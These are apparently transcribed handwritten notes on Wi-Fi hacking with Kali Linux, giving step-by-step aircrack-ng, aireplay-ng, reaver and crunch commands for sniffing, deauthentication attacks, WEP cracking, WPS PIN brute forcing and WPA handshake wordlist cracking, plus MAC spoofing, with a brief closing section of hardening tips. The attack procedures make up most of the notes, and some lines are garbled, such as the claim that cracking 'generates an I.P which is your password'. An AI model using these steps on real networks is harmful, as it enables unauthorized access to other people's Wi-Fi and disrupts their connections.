Kali Linux

> Networking

1) To go in Root Terminal -> sudo su

2) To go to Monitor Mode -> airmon-ng start wlan0

3) To search for Wifi -> airodump-ng wlan0

- To do Target Packet Sniffing.

>airodump-ng --bssid ______ --channel ______
I.D CH

-- write test wlan0
↳ File Name
∴ Where Packets will be stored.

∴ Use Wireshark -> To open Packets

- To do deauth attack

∴ How much Packets to send

aireplay-ng --deauth 100000 -a ______
BSSID

-c ______ wlan0
STATION

It will disconnect clients from server for a long period.

> It will disconnect all the gadgets which are connected through that Wifi. Now they will need to add the password again for connecting and here packets will be generated and password will be stored.

Spiral

> Wifi Hacking

1) WEP Security Wifi (Busy one)

↱ It analyse the captured IVs and crack key.

```
> aircrack -ng ________
               File Name
```

∴ Which we made earlier by Packet Sniffing

∴ file name ending → .cap

> Now it will generate an I.P which is your password to the Wifi.
Now simply, connect the wifi to your P.C

2) WEP Security Wifi (Non-Busy one)

∴ If network is not busy, so it will take time to generate or capture IVs.
Solⁿ :- force AP to generate IVs.

Step 1) Fake Authentication Attack
↳ To communicate with it

→ airodump-ng (Command)
to save file.
(Refer Earlier Pages)

you will get connected to this Wifi

```
→ aireplay-ng --fakeauth 30 -a ________ -h ________ wlan0.
                         ↱ How many time you want to do in every 30 second.
                              BSSID        Mac Adress of your Adapter.
```

Step 2) ARP Request Replay Attack.

∴ To crack WEP
- we need a large no of Packets / IVs.

→
```
aireplay-ng -- arpreplay -b ______
-h ______ wlan0
```
BSSID

MAC adress of my adapter

→ Now type the command of
```
aircrack-ng ______
```
File Name

and you will have the Key.

Bonus Point
- To change MAC Address of your Adapter

>
```
ifconfig wlan0 hw ether ______
```
New MAC Address..

3) Hacking WPA/WPA2 without a Wordlist
(Those Wifi which have W.P.S Button enabled)

Step1) Search WPS enabled Wifi
```
wash -- interface wlan0
```

On two diff Terminal

Step.2) Do a fake auth attack *fir ye

Step 3) Reaver attack (On Diff Terminal) *Pehle ye

↳ It will try every possible pin
```
reaver -- bssid ID -- channel Ch
-- interface wlan0 -vvv --no-associate
```
It will show more details

Spiral

4) Hacking WPA/WPA2 through Handshake Packets.

↳ These are 4 packets sent when a client connects to the network.

Step 1)
```
airodump-ng --bssid ID --channel CH --write wpa-handshake wlan0
```
↳ # file name where handshake will be captured.

It will be captured when a new client connects to Server and it will tell us when it will be captured.

Step 2) Deauth Attack (To disconnect clients)

↳ Make Deauth Attack for a short period of time --deauth 4

Step 3) The Handshake doesn't contain data that helps recover key, it only contains data that can be used to check if key is valid or not.

We will create a Wordlist. To do so:- we will use, Crunch.

Syntax:-
```
> Crunch [min] [max] [characters] -t [pattern] -o [fileName].txt
```
Ex:-
```
Crunch 6 8 abc12 -o test.txt
```
↳ where it will be stored

Date.........................

→ To open this file

> Cat test.txt

↳ File Name

> To make specific list

> Crunch 6 6 abc12 -o test.txt -t a@@@b

It will make Only those password which Start with a and end with b.

Step 4) Cracking WPA/WPA2 using a Wordlist Attack.

> aircrack-ng wpa_ handshake-01.cap

↳ Handshake file

-w test.txt

↳ Wordlist file.

Both will be compared to get Correct MIC.

→ Now Key will be founded.

Date.........................

> Configuring Wireless Settings for Maximum Security

1) you can change your adapter IP Address as discussed earlier.

2) Can change Wifi Adapter Security by going into setting and by making a Complex Pin.

3) Switch off WPS Button for Maximum Security.